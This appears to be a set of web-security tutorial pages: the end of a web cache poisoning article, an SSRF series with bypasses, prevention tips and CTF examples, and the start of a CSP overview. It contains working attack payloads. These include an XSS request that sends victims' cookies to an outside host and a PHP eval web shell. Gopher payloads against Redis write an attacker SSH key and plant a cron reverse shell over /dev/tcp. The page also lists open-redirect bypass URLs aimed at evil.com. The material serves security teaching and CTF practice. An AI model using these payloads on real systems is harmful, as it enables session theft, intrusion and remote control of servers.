<p id="bkmrk-voici-un-exemple-de--0"><span style="font-weight: 400;">Here's an example of a request that will steal the victims' cookies :</span></p>
<pre id="bkmrk-get-%2Fdashboard-http%2F"><code class="language-Lua">GET /dashboard HTTP/1.1
Host: acb71fdd1e124550803245dc009d00fe.web-security-academy.net
X-Original-Url: /search?q=&lt;img src=x onerror=this.src='https://hideandsec.sh/?c='+document.cookie /&gt;</code></pre>
<p id="bkmrk-si-le-serveur-n%E2%80%99acce"><span style="font-weight: 400;">If the server does not accept this request, encode it, or even </span><span style="text-decoration: underline;"><a href="https://owasp.org/www-community/Double_Encoding" target="_blank" rel="noopener"><span style="font-weight: 400; color: #00ccff; text-decoration: underline;">encode it twice</span></a></span><span style="font-weight: 400;">.</span></p>
<p id="bkmrk-dans-cette-requ%C3%AAte%2C-"><span style="font-weight: 400;">In this request, the server will return the search result with our image <code>&lt;img src=x onerror=this.src='https://hideandsec.sh/?c='+document.cookie /&gt;</code></span><span style="font-weight: 400;"><br></span><span style="font-weight: 400;">Once the content of the page is cached, anyone trying to go to their <strong>/dashboard</strong> will end up on the search page, with our image that they will not be able to load, by sending their cookies.<br>We use the <strong>/dashboard</strong> here and not the home page, to be sure to retrieve cookies from people who are logged in.</span></p>
<p id="bkmrk-on-aurait-tr%C3%A8s-bien-"><span style="font-weight: 400;">We could have also redirected the <span style="color: #00ccff;">/change_password</span> to ours with </span><code>&lt;script&gt;window.location.replace("https://hideandsec.sh/change_password");&lt;/script&gt;</code><span style="font-weight: 400;">, and redo phishing like the <strong>Open Redirection</strong>.<br></span><span style="font-weight: 400;">If the victim doesn't pay attention to the domain name that has changed in the meantime, we could recover 2 passwords from the victim, the old one and the new one, which we can then use for <span style="text-decoration: underline;"><a href="https://resources.infosecinstitute.com/password-spraying/"><span style="color: #00ccff; text-decoration: underline;">Password Spraying</span></a></span>.</span></p>
<hr id="bkmrk--6"><h4 id="bkmrk-%C2%A0-0">Author</h4>
<h5 id="bkmrk-mxrch">mxrch</h5>
<ul id="bkmrk-site-%3A-https%3A%2F%2Fmxrch"></li>
<li>Github : <a href="https://github.com/mxrch">https://github.com/mxrch</a></li><li>Twitter : <a href="https://twitter.com/mxrchreborn">https://twitter.com/mxrchreborn</a></li>
<li>HackTheBox : <a href="https://www.hackthebox.eu/profile/181024">https://www.hackthebox.eu/profile/181024</a></li>
</ul><h4 id="bkmrk-contributeurs">Contributor</h4>
<h5 id="bkmrk-tartofraise">Tartofraise</h5>
<div id="bkmrk-hackthebox-%3A-https%3A%2F">
<div aria-label="Actions des messages">
<div>
<ul><li aria-label="Plus" aria-controls="popout_14103" aria-expanded="false">Github : <a href="https://github.com/Tartofraise">https://github.com/Tartofraise</a></li><li aria-label="Plus" aria-controls="popout_14103" aria-expanded="false">Twitter : <a href="https://twitter.com/_Tartofraise">https://twitter.com/_Tartofraise</a></li><li aria-label="Plus" aria-controls="popout_14103" aria-expanded="false">HackTheBox : <a href="https://www.hackthebox.eu/home/users/profile/103958">https://www.hackthebox.eu/home/users/profile/103958</a></li>
</ul></div>
</div>
</div>

# SSRF Series

<h1>1. INTRO</h1>
<p id="bkmrk-ssrf-%28server-side-re">SSRF (Server-Side Request Forgery: server-side request forgery) is a fake exploit server-initiated requests. Generally, SSRF attacks target internal systems that are not accessible from the external network.</p>
<p id="bkmrk-%C2%A0"> </p>
<h3 id="bkmrk-types-of-ssrf">Types of SSRF</h3>
<p id="bkmrk-1.-show-response-to-">1. Show response to attacker (basic)<br>2. Do now show response (blind)</p>
<p id="bkmrk-%C2%A0-0"> </p>
<h3 id="bkmrk-the-basics-of-the-vu">The basics of the vulnerability</h3>
<p id="bkmrk-ssrf-%28server-side-re-0">SSRF (Server-Side Request Forgery: Server-Side Request Forgery) is a security vulnerability constructed by an attacker to form a request initiated by the server. Generally, SSRF attacks target internal systems that are not accessible from the external network. (Because it is initiated by the server, it can request the internal system that is connected to it and isolated from the external network)</p>
<p id="bkmrk-%C2%A0-1"> </p>
<h3 id="bkmrk-where-it-appears">Where it appears</h3>
<ol id="bkmrk-social-sharing-funct"><li>
<p>Social sharing function: Get the title of the hyperlink for display</p>
</li>
<li>
<p>Transcoding service: Tuning the content of the original web page through the URL address to make it suitable for mobile phone screen browsing</p>
</li>
<li>
<p>Online translation: translate the content of the corresponding web page to the website</p>
</li>
<li>
<p>Image loading / downloading: For example, click in a rich text editor to download the image to the local area; load or download the image through the URL address</p>
</li>
<li>
<p>Picture / article collection function: It will take the content of the title and text in the URL address as a display for a good appliance experience</p>
</li>
<li>
<p>Cloud service vendor: It will execute some commands remotely to determine whether the website is alive, etc., so if you can capture the corresponding information, you can perform ssrf test</p>
</li>
<li>
<p>Website collection, where the website is crawled: Some websites will do some information collection for the URL you enter</p>
</li>
<li>
<p>Database built-in functions: database's copyDatabase function such as mongodb</p>
</li>
<li>
<p>Mail system: such as receiving mail server address</p>
</li>
<li>
<p>Encoding processing, attribute information processing, file processing: such as fffmg, ImageMagick, docx, pdf, xml processor, etc.</p>
</li>
<li>
<p>Undisclosed API implementation and other functions that extend the calling URL: You can use google syntax and add these keywords to find SSRF vulnerabilities</p>
</li>
<li>
<p>Request resources from a remote server (upload from url such as discuz !; import &amp; expost rss feed such as web blog; where the xml engine object is used such as wordpress xmlrpc.php)</p>
</li>
</ol><p id="bkmrk-%C2%A0-2"> </p>
<h3 id="bkmrk-vulnerability-detect">Vulnerability detection / Verifications</h3>
<ol id="bkmrk-exclusion-method%3A-br"><li>Exclusion method: browser f12 checks the source code to see if the request was made locally (For example: If the resource address type is <a href="http://www.xxx.com/a.php?image=(address)" rel="nofollow">http://www.xxx.com/a.php?image=(address)</a>, an SSRF vulnerability may exist)</li>
<li>dnslog and other tools to test to see if they are accessed (You can encode the uri and parameters of the currently prepared request into base64 in the blind typing background use case, so that after blind typing background decoding, you know which machine and which cgi triggered the request.)</li>
<li>Capture and analyze whether the request sent by the server is sent by the server. If it is not a request from the client, it may be, and then find the internal network address where the HTTP service exists (Look for leaked web application intranet addresses from historical vulnerabilities in the vulnerable platform)</li>
<li>Banner, title, content and other information returned directly</li>
<li>Pay attention to bool SSRF</li>
</ol>

<h2 id="bkmrk-what-can-we-do-with-"><a id="bkmrk-" class="anchor" href="https://github.com/OlivierLaflamme/Auditing-Vulnerabilities/blob/master/SSRF/SSRF_Bypass.md#what-can-we-do-with-ssrf" aria-hidden="true"><svg class="octicon octicon-link" viewbox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"></svg></a>What can we do with SSRF?</h2>
<ol id="bkmrk-ssrf-to-reflection-x"><li>SSRF to reflection XSS</li>
<li>Try to use URL to access internal resources and make the server perform operations (file: ///, dict: //, ftp: //, gopher: // ..)</li>
<li>Scan internal networks and ports</li>
<li>If it is running on a cloud instance, you can try to get metadata</li>
</ol>
<br>
<h1>2. BYPASS</h1>
<h3 id="bkmrk-change-the-writing-o">Change the writing of IP address</h3>
<p id="bkmrk-some-developers-will">Some developers will filter out the intranet IP by regular matching the passed URL parameters. For example, the following regular expressions are used:</p>
<p id="bkmrk-the-bypassing-techni">The bypassing technique here is similar to the URL redirection bypass or SSRF bypassing technique.</p>
<pre id="bkmrk-%5E10%28%5C.%28%5B2%5D%5B0-4%5D%5Cd%7C%5B2"><code class="language-">^10(\.([2][0-4]\d|[2][5][0-5]|[01]?\d?\d)){3}$
^172\.([1][6-9]|[2]\d|3[01])(\.([2][0-4]\d|[2][5][0-5]|[01]?\d?\d)){2}$
^192\.168(\.([2][0-4]\d|[2][5][0-5]|[01]?\d?\d)){2}$</code></pre>
<p id="bkmrk-single-slash-%22%2F%22-byp">Single slash "/" bypass:</p>
<pre id="bkmrk-https%3A%2F%2Fwww.xxx.com%2F"><code class="language-">https://www.xxx.com/redirect.php?url=/www.evil.com</code></pre>
<p id="bkmrk-missing-protocol-byp">Missing protocol bypass:</p>
<pre id="bkmrk-https%3A%2F%2Fwww.xxx.com%2F-0"><code class="language-">https://www.xxx.com/redirect.php?url=//www.evil.com</code></pre>
<p id="bkmrk-multi-slash-%22%2F%22-pref">Multi-slash "/" prefix bypass:</p>
<pre id="bkmrk-https%3A%2F%2Fwww.xxx.com%2F-1"><code class="language-">https://www.xxx.com/redirect.php?url=///www.evil.com
https://www.xxx.com/redirect.php?url=////www.evil.com</code></pre>
<p id="bkmrk-bypass-with-%22%40%22%3A">Bypass with "@":</p>
<pre id="bkmrk-https%3A%2F%2Fwww.xxx.com%2F-2"><code class="language-">https://www.xxx.com/redirect.php?url=https://www.xxx.com@www.evil.com</code></pre>
<p id="bkmrk-use-backslash-%22%22-to-">Use backslash "" to bypass:</p>
<pre id="bkmrk-https%3A%2F%2Fwww.xxx.com%2F-3"><code class="language-">https://www.xxx.com/redirect.php?url=https://www.evil.com\https://www.xxx.com/</code></pre>
<p id="bkmrk-bypass-with-%22%23%22%3A">Bypass with "#":</p>
<pre id="bkmrk-https%3A%2F%2Fwww.xxx.com%2F-4"><code class="language-">https://www.xxx.com/redirect.php?url=https://www.evil.com#https://www.xxx.com/</code></pre>
<p id="bkmrk-bypass-with-%22%3F%22%3A">Bypass with "?":</p>
<pre id="bkmrk-https%3A%2F%2Fwww.xxx.com%2F-5"><code class="language-">https://www.xxx.com/redirect.php?url=https://www.evil.com?www.xxx.com</code></pre>
<p id="bkmrk-bypass-with-%22%5C%22%3A">Bypass with "\":</p>
<pre id="bkmrk-https%3A%2F%2Fwww.xxx.com%2F-6"><code class="language-">https://www.xxx.com/redirect.php?url=https://www.evil.com\\www.xxx.com</code></pre>
<p id="bkmrk-use-%22.%22-to-bypass%3A">Use "." to bypass:</p>
<pre id="bkmrk-https%3A%2F%2Fwww.xxx.com%2F-7"><code class="language-">https://www.xxx.com/redirect.php?url=.evil
https://www.xxx.com/redirect.php?url=.evil.com</code></pre>
<p id="bkmrk-repeating-special-ch">Repeating special characters to bypass:</p>
<pre id="bkmrk-https%3A%2F%2Fwww.xxx.com%2F-8"><code class="language-">https://www.xxx.com/redirect.php?url=///www.evil.com// ..
https://www.xxx.com/redirect.php?url=////www.evil.com// ..</code></pre>
<p id="bkmrk-%C2%A0"> </p>
<h4 id="bkmrk-as-talked-about-in-%22">As talked before, there are 2 types of SSRF.</h4>
<p id="bkmrk-1.-show-response-to-">1. Show response to attacker (basic)<br>2. Do now show response (blind)</p>
<p id="bkmrk-%C2%A0-0"> </p>
<h4 id="bkmrk-basic">Basic</h4>
<p id="bkmrk-as-mentioned-above%2C-">As mentioned above, it shows the response to the attacker, so after the server gets the URL requested by the attacker, it will send the response back to the attacker. DEMO (using Ruby). Install the following packages and run the code <code>gem install sinatra</code></p>
<pre id="bkmrk-require-%27sinatra%27-re"><code class="language-ruby">require 'sinatra'
require 'open-uri'
 
get '/' do
  format 'RESPONSE: %s', open(params[:url]).read</code></pre>
<p id="bkmrk-the-above-code-will-">The above code will open the local server port 4567.</p>
<pre id="bkmrk-http%3A-%2F%2F-localhost%3A-"><code class="language-">http: // localhost: 4567 /? url = contacts will open the contacts file and display the response in the front end
http: // localhost: 4567 /? url = / etc / passwd will open etc / passwd and respond to the service
http: // localhost: 4567 /? url = https: //google.com will request google.com on the server and display the response</code></pre>
<p id="bkmrk-just-get-the-file-fr">Just get the file from an external site with a malicious payload with a content type of html. Example:</p>
<pre id="bkmrk-http%3A%2F%2Flocalhost%3A456"><code class="language-">http://localhost:4567/?Url=http://hideandsec.sh/poc.svg</code></pre>
<br>
<h1>3. PREVENTION</h1>
<h4 id="bkmrk-how-to-prevent-ssrf">How to prevent SSRF</h4>
<ol id="bkmrk-it-is-easier-to-filt"><li>It is easier to filter the returned information and verify the response of the remote server to the request. If the web application is to get a certain type of file. Then verify that the returned information meets the standards before displaying the returned results to the user.</li>
<li>Disable unwanted protocols and only allow http and https requests. Prevent problems like file: //, gopher: //, ftp: //, etc.</li>
<li>Set URL whitelist or restrict intranet IP (use gethostbyname () to determine if it is an intranet IP)</li>
<li>limit the requested port to the port commonly used by http, such as 80, 443, 8080, 8090 ( Restricted request port can only be web port, only allow access to HTTP and HTTPS requests)</li>
<li>Unified error information to avoid users from judging the port status of the remote server based on the error information.</li>
<li>Restricting Intranet IPs That Cannot Be Accessed to Prevent Attacks on the Intranet</li>
<li>Block return details</li>
</ol>

<br>
<h1>4. CTF CONTEXT</h1>
<h3 id="bkmrk-common-attack-surfac">Common attack surface</h3>
<ol id="bkmrk-port-scanning-can-be"><li>Port scanning can be performed on the external network, the internal network where the server is located, and local to obtain banner information of some services</li>
<li>Attack applications running on the intranet or locally (such as overflow)</li>
<li>Fingerprint identification of intranet WEB applications by accessing default files</li>
<li>Attacks on web applications inside and outside the network, mainly attacks that can be achieved using GET parameters (such as Struts2, sqli, etc.)</li>
<li>Reading local files using the file protocol</li>
</ol><h4 id="bkmrk-example-1%3A">Example 1:</h4>
<p id="bkmrk-mainly-talks-about-t">Mainly talks about the attack surface used with the gopher protocol. The gopher protocol can be said to be very powerful.</p>
<h5 id="bkmrk-sending-post-packets">Sending post packets via gopher</h5>
<p id="bkmrk-the-gopher-protocol-">The gopher protocol can send post packets. How to send it?<br>Grab the packet encoding structure. For example, the intranet has an exp.php</p>
<pre id="bkmrk-%3C%3Fphp-eval%28%24_post%5B%27a"><code class="language-php">&lt;?php 
eval($_POST['a']);
?&gt;</code></pre>
<p id="bkmrk-then-we-set-up-the-e">Then we set up the environment to access and capture the package locally:</p>
<p id="bkmrk-"><a href="https://hideandsec.sh/uploads/images/gallery/2020-05/ZOMB3hgPwTPDUNp9-1.PNG" target="_blank" rel="noopener"><img src="https://hideandsec.sh/uploads/images/gallery/2020-05/scaled-1680-/ZOMB3hgPwTPDUNp9-1.PNG" alt="1.PNG"></a></p>
<p id="bkmrk-find-this-request-pa">Find this request packet and display it in raw data in wireshark and write a script such as the following:</p>
<pre id="bkmrk-import-urllib-from-u"><code class="language-python">import urllib
from urllib.parse import quote
s='xxxx'
len=len(s)
p=''
for i in range(len)[::2]:
    p+=urllib.parse.quote(chr(int(s[i:i+2],16)))
print(p)</code></pre>
<p id="bkmrk-and-the-payload-will">and the payload will be something like:</p>
<pre id="bkmrk-gopher%3A%2F%2F127.0.0.1%3A8"><code class="language-bash">gopher://127.0.0.1:80/_POST%20/exp.php%20HTTP/1.1%0D%0AHost%3A%20127.0.0.1%0D%0AUser-Agent%3A%20Mozilla/5.0%20%28Linux%3B%20Android%209.0%3B%20SAMSUNG-SM-T377A%20Build/NMF26X%29%20AppleWebKit/537.36%20%28KHTML%2C%20like%20Gecko%29%20Chrome/72.0.3626.109%20Mobile%20Safari/537.36%0D%0AAccept%3A%20text/html%2Capplication/xhtml%2Bxml%2Capplication/xml%3Bq%3D0.9%2C%2A/%2A%3Bq%3D0.8%0D%0AAccept-Language%3A%20zh-CN%2Czh%3Bq%3D0.8%2Czh-TW%3Bq%3D0.7%2Czh-HK%3Bq%3D0.5%2Cen-US%3Bq%3D0.3%2Cen%3Bq%3D0.2%0D%0AAccept-Encoding%3A%20gzip%2C%20deflate%0D%0AReferer%3A%20http%3A//127.0.0.1/exp.php%0D%0AContent-Type%3A%20application/x-www-form-urlencoded%0D%0AContent-Length%3A%2025%0D%0AConnection%3A%20keep-alive%0D%0AUpgrade-Insecure-Requests%3A%201%0D%0A%0D%0Aa%3Dsystem%2528%2522id%2522%2529%253B</code></pre>
<p id="bkmrk--0"><a href="https://hideandsec.sh/uploads/images/gallery/2020-05/nrjAVgXhK92cvqzX-ssrfCTF2.PNG" target="_blank" rel="noopener"><img src="https://hideandsec.sh/uploads/images/gallery/2020-05/scaled-1680-/nrjAVgXhK92cvqzX-ssrfCTF2.PNG" alt="ssrfCTF2.PNG"></a></p>
<p id="bkmrk-you-can-bounce-the-s">You can bounce the shell later....</p>
<h5 id="bkmrk-%C2%A0"> </h5>
<h4 id="bkmrk-example-2%3A">Example 2:</h4>
<p id="bkmrk-mainly-talks-about-h">Mainly talks about how to compromise a virtual environment (root me)</p>
<p id="bkmrk--1"><a href="https://hideandsec.sh/uploads/images/gallery/2020-05/Rdd4ylutHaYKqBaG-ssrf3.PNG" target="_blank" rel="noopener"><img src="https://hideandsec.sh/uploads/images/gallery/2020-05/scaled-1680-/Rdd4ylutHaYKqBaG-ssrf3.PNG" alt="ssrf3.PNG"></a></p>
<p id="bkmrk-after-accessing-the-">After accessing the address, you can see that the page displays an input box. You need to enter the url parameter to start capturing packets.</p>
<p id="bkmrk--2"><a href="https://hideandsec.sh/uploads/images/gallery/2020-05/RonxsRV4SgY0h97l-ssrf4.PNG" target="_blank" rel="noopener"><img src="https://hideandsec.sh/uploads/images/gallery/2020-05/scaled-1680-/RonxsRV4SgY0h97l-ssrf4.PNG" alt="ssrf4.PNG"></a></p>
<p id="bkmrk-use-burp%27s-intruder-">Use Burp's Intruder module to detect open service ports. Open will display OK, non-open will display Connection refused.</p>
<p id="bkmrk--3"><a href="https://hideandsec.sh/uploads/images/gallery/2020-05/efQObjHUqydmtwiP-ssrf6.PNG" target="_blank" rel="noopener"><img src="https://hideandsec.sh/uploads/images/gallery/2020-05/scaled-1680-/efQObjHUqydmtwiP-ssrf6.PNG" alt="ssrf6.PNG"></a></p>
<p id="bkmrk-the-probe-shows-that">The probe shows that the redis service on port 6379 is opened on the intranet, and an attempt is made to use SSRF to perform unauthorized vulnerabilities on redis. Here is a simple science popularization of the impact of the redis vulnerability. Therefore, this vulnerability can use SSRF to bypass local restrictions without password configuration, thus attacking internal applications on the external network.</p>
<p id="bkmrk-so-what-should-we-do">So what should we do?</p>
<ol id="bkmrk-use-redis-to-write-s"><li>Use redis to write ssh keys.</li>
<li>Use redis to write timed tasks to bounce the shell</li>
</ol><h5 id="bkmrk-%C2%A0-0"> </h5>
<h5 id="bkmrk-use-redis-to-write-s-0">Use redis to write ssh keys.</h5>
<p id="bkmrk-here%2C-a-pair-of-publ">Here, a pair of public and private keys is generated the default files generated are id_rsa.pub and id_rsa. Then, upload id_rsa.pub to the server. We use redis to set the directory to the ssh directory: There are two protocols available for writing keys online, one is dict and one is gopher. The test failed to write using the dict protocol, and the connection could not be made after writing. Here, a gopher was used to write the key.</p>
<p id="bkmrk-the-payload-used-is%3A">The payload used is:</p>
<pre id="bkmrk-gopher%3A%2F%2F127.0.0.1%3A6"><code class="language-">gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$401%0d%0a%0a%0a%0assh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC/Xn7uoTwU+RX1gYTBrmZlNwU2KUBICuxflTtFwfbZM3wAy/FmZmtpCf2UvZFb/MfC1i......2pyARF0YjMmjMevpQwjeN3DD3cw/bO4XMJC7KnUGil4ptcxmgTsz0UsdXAd9J2UdwPfmoM9%0a%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$11%0d%0a/root/.ssh/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$15%0d%0aauthorized_keys%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a</code></pre>
<p id="bkmrk-the-payload-is-decod">The payload is decoded as:</p>
<pre id="bkmrk-gopher%3A%2F%2F127.0.0.1%3A6-0"><code class="language-">gopher://127.0.0.1:6379/_*3
$3
set
$1
1
$401

ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC/Xn7uoTwU RX1gYTBrmZlNwU2KUBICuxflTtFwfbZM3wAy/FmZmtpCf2UvZFb/MfC1i......2pyARF0YjMmjMevpQwjeN3DD3cw/bO4XMJC7KnUGil4ptcxmgTsz0UsdXAd9J2UdwPfmoM9


*4
$6
config
$3
set
$3
dir
$11
/root/.ssh/
*4
$6
config
$3
set
$10
dbfilename
$15
authorized_keys
*1
$4
save
*1
$4
quit</code></pre>
<p id="bkmrk-the-payload-is-modif">The payload is modified from the rebound shell, mainly replacing the location and file content of the written file. Then modify the length of the file. Then try to log in. After entering the password for creating the key, the login is successful.</p>
<p id="bkmrk--4"><a href="https://hideandsec.sh/uploads/images/gallery/2020-05/CLqJDTdQK1LflEWC-ssrf7.PNG" target="_blank" rel="noopener"><img src="https://hideandsec.sh/uploads/images/gallery/2020-05/scaled-1680-/CLqJDTdQK1LflEWC-ssrf7.PNG" alt="ssrf7.PNG"></a></p>
<h5 id="bkmrk-use-redis-to-write-t">Use redis to write timed tasks to bounce the shell</h5>
<p id="bkmrk-the-payload-used-is%3A-0">The payload used is:</p>
<pre id="bkmrk-gopher%3A%2F%2F127.0.0.1%3A6-1"><code class="language-">gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$61%0d%0a%0a%0a%0a*/1 * * * * bash -i &gt;&amp; /dev/tcp/x.x.x.x/2233 0&gt;&amp;1%0a%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a</code></pre>
<p id="bkmrk-the-payload-is-decod-0">The payload is decoded as:</p>
<pre id="bkmrk-gopher%3A%2F%2F127.0.0.1%3A6-2"><code class="language-">gopher://127.0.0.1:6379/_*3
$3
set
$1
1
$61


*/1 * * * * bash -i &gt;&amp; /dev/tcp/x.x.x.x/2233 0&gt;&amp;1


*4
$6
config
$3
set
$3
dir
$16
/var/spool/cron/
*4
$6
config
$3
set
$10
dbfilename
$4
root
*1
$4
save
*1
$4
quit</code></pre>
<p id="bkmrk-%2461-is-my-vps-addres">$61 is my vps address, which is <code class="language-">%0a%0a%0a*/1 * * * * bash -i &gt;&amp; /dev/tcp/127.0.0.1/2233 0&gt;&amp;1%0a%0a%0a%0a</code> string length.</p>
<p id="bkmrk-wait-for-a-moment-af">Wait for a moment after execution to receive a bounce shell by simple setting up a listener on port 2233. At the same time, you need to add several carriage returns before and after the command to be written.</p>
<p id="bkmrk-%C2%A0-3"> </p>
<p id="bkmrk-by%3A-boschko"><strong>By: Olivier (Boschko) Laflamme<br></strong></p>
<ul id="bkmrk-twitter%3A-https%3A%2F%2Ftwi"><li>Twitter: <a href="https://twitter.com/olivier_boschko">https://twitter.com/olivier_boschko</a></li>
<li>LinkedIn: <a href="https://www.linkedin.com/in/olivierlaflammelink/">https://www.linkedin.com/in/olivierlaflammelink/</a></li>
</ul><p id="bkmrk-%C2%A0-14"> </p>

# CSP Series

<h1>1. Intro</h1>
<p id="bkmrk-csp-%28content-securit">CSP (Content Security Policy) is there / in-place to mitigate some attacks, such as xss, csrf. It behaves as a whitelist mechanism for resources loaded or executed on the website, and is defined by HTTP headers or meta elements.</p>
<p id="bkmrk-although-csp-provide">Although CSP provides strong security protection, it also causes the following problems:</p>
<ol id="bkmrk-eval-and-related-fun"><li>Eval and related functions are disabled</li>
<li>embedded JavaScript code will not be executed</li>
<li>remote scripts can only be loaded through whitelisting</li>
</ol><p id="bkmrk-these-problems-hinde">These problems hinder the popularity of CSP. If you want to use CSP technology to protect your website, developers have to spend a lot of time separating the embedded JavaScript code and making some adjustments...<a id="bkmrk-" class="anchor" href="https://github.com/OlivierLaflamme/Auditing-Vulnerabilities/blob/master/CSP/CSP.md#browsers-that-support-csp" aria-hidden="true"><svg class="octicon octicon-link" viewbox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"></svg></a></p>
<h3 id="bkmrk-browsers-that-suppor">Browsers that support CSP</h3>
<p id="bkmrk-csp-mainly-has-three">CSP mainly has three headers:</p>
<ol id="bkmrk-content-security-pol"><li>Content-Security-Policy (chrome 25+，Firefox 23+，Opera 19+)</li>
<li>X-Content-Security-Policy (Firefox 23+，IE10+)</li>
<li>X-WebKit-CSP (Chrome 25+)</li>
</ol><p id="bkmrk-the-csps-we-often-se">The CSPs we often see are similar to this:</p>
<pre id="bkmrk-header%28%22content-secu"><code class="language-">header("Content-Security-Policy:default-src 'none'; 
connect-src 'self'; 
frame-src 'self'; 
script-src xxxx/js/ 'sha256-KcMxZjpVxhUhzZiwuZ82bc0vAhYbUJsxyCXODP5ulto=' 'sha256-u++5+hMvnsKeoBWohJxxO3U9yHQHZU+2damUA6wnikQ=' 'sha256-zArnh0kTjtEOVDnamfOrI8qSpoiZbXttc6LzqNno8MM=' 'sha256-3PB3EBmojhuJg8mStgxkyy3OEJYJ73ruOF7nRScYnxk=' 'sha256-bk9UfcsBy+DUFULLU6uX/sJa0q7O7B8Aal2VVl43aDs=';
font-src xxxx/fonts/ fonts.gstatic.com; 
style-src xxxx/css/ fonts.googleapis.com; 
img-src 'self'");</code></pre>
<p id="bkmrk-as-you-can-see-it-co">As you can see it contains a wide variety of wording:</p>
<ol id="bkmrk-none-and-self%2C-none-"><li>none and self, none of what the representative does not match, self representatives of matching homologous source</li>
<li>is similar matches such <a href="https://example.com/path/to/file.js" rel="nofollow">https://example.com/path/to/file.js</a> special file, or https: //example.com/ This will match everything under the source.<br>3.The third one is similar to https: and will match all sources that contain this special format.</li>
<li>It may also be example.com, which will match all sources of this host, or * .example.com, which will match all subdomains of this host.</li>
<li>The fifth is similar to nonce-qwertyu12345, which will match a special node.</li>
<li>Of course, there is encrypted similar to sha256-abcd ... It will also match a special node in the page (this value will change every time you modify it).</li>
</ol><p id="bkmrk-a-detailed-example-c">A detailed example can be found in the documentation:</p>
<pre id="bkmrk-serialized-source-li"><code class="language-">serialized-source-list = ( source-expression *( RWS source-expression ) ) / "'none'"
source-expression      = scheme-source / host-source / keyword-source
                        / nonce-source / hash-source
; Schemes:
scheme-source = scheme ":" ; scheme is defined in section 3.1 of RFC 3986.

; Hosts: "example.com" / "*.example.com" / "https://*.example.com:12/path/to/file.js"
host-source = [ scheme-part "://" ] host-part [ port-part ] [ path-part ]
scheme-part = scheme
host-part   = "*" / [ "*." ] 1*host-char *( "." 1*host-char )
host-char   = ALPHA / DIGIT / "-"
port-part   = ":" ( 1*DIGIT / "*" )
path-part   = path
             ; path is defined in section 3.3 of RFC 3986.
 
; Keywords:
keyword-source = "'self'" / "'unsafe-inline'" / "'unsafe-eval'"

; Nonces: 'nonce-[nonce goes here]'
nonce-source  = "'nonce-" base64-value "'"
base64-value  = 1*( ALPHA / DIGIT / "+" / "/" / "-" / "_" )*2( "=" )

; Digests: 'sha256-[digest goes here]'
hash-source    = "'" hash-algorithm "-" base64-value "'"
hash-algorithm = "sha256" / "sha384" / "sha512"</code></pre>
<p id="bkmrk-there-is-a-small-que">There is a small question about using IP… <br>Although the use of IP conforms to the above syntax, the security of requests directly to the ip address is itself in doubt, and if it is possible, it is better to use the domain name.</p>
<h3 id="bkmrk-in-general">In General</h3>
<p id="bkmrk-the-csp-detection-me">The CSP detection method is to first determine the specific request type, and then return the name of a valid instruction in the following way. Depending on the type of the request, the following different steps will be performed:</p>
<p id="bkmrk-to-understand-the-fo">To understand the following algorithm, we first need to know what is the originator of the request</p>
<p id="bkmrk-a%29-initiator%3A-each-r">A) Initiator: Each request has an initiator, including "download", "imageset", "manifest", or "xslt".<br>B) Destination: Each request has a corresponding destination, including "document", "embed", "font", "image", "manifest", "media", "object", "report", "script", “Serviceworker”, “sharedworker”, “style”, “worker”, or “xslt”.</p>
<ol id="bkmrk-if-the-request%E2%80%99s-ini"><li>If the request’s initiator is “fetch”, return connect-src.</li>
<li>If the request’s initiator is “manifest”, return manifest-src.</li>
<li>If the request’s destination is “subresource”, return connect-src.</li>
<li>If the request’s destination is “unknown”, return object-src.</li>
<li>If the request’s destination is “document” and the request’s target browsing context is a nested browsing context: return child-src.</li>
<li>Audio” -&gt; “track” -&gt; “vide, return media-src.</li>
<li>font, return font-src.</li>
<li>image, return image-src.</li>
<li>style, return style-src.</li>
</ol>
<br>
<h1>2. Prevention</h1>
<p id="bkmrk-csp-is-especially-im">CSP is especially important for your users: they no longer need to be exposed to any unsolicited script, content or XSS threats on your website.</p>
<p id="bkmrk-the-most-important-a">The most important advantage of a CSP for a website maintainer is perception. If you set strict rules on the source of the picture, a script kid tries to insert an image of an unauthorized source on your website, then the picture will be banned, and you will receive a reminder as soon as possible .</p>
<p id="bkmrk-developers-also-need">Developers also need to know exactly what their front-end code is doing, and CSP can help them control everything. Will prompt them to refactor parts of their code (avoid inline functions and styles, etc.) and prompt them to follow best practices.</p>
<h4 id="bkmrk-%C2%A0"> </h4>
<h4 id="bkmrk-there-are-a-few-simp">There are a few simple ways to prevent CSP based attacks.</h4>
<p id="bkmrk-adding-policies-thro">Adding policies through meta tags: The preferred setting method for CSP is the HTTP header, which is very useful, but it is more straightforward to set through tags or scripts. WebKit has implemented the feature of setting permissions through meta elements , so you can now try the following settings in Chrome: add &lt;metahttp-equiv = "X-WebKit-CSP" content = "[POLICY GOES HERE]" in the header of the document &gt;.</p>
<p id="bkmrk-dom-api%3A-if-this-fea">DOM API: If this feature is added in the next iteration of CSP, you can query the current security policy of the page through Javascript and adjust it according to different situations. For example, if eval () is available, your code implementation may be slightly different.</p>
<p id="bkmrk-%C2%A0-0"> </p>
<h4 id="bkmrk-content-security-pol">Content security policy applies to all common resources</h4>
<ol start="3" id="bkmrk-content-src%3A-limit-t"><li>content-src: limit the type of connection (such as XHR, WebSockets, and EventSource)</li>
<li>font-src: Controls the source of web fonts. For example, you can use Google's web fonts through font-src</li>
<li>img-src: defines the source of the loadable image.</li>
<li>media-src: Restrict video and audio sources.</li>
<li>object-src: Restrict sources of Flash and other plugins.</li>
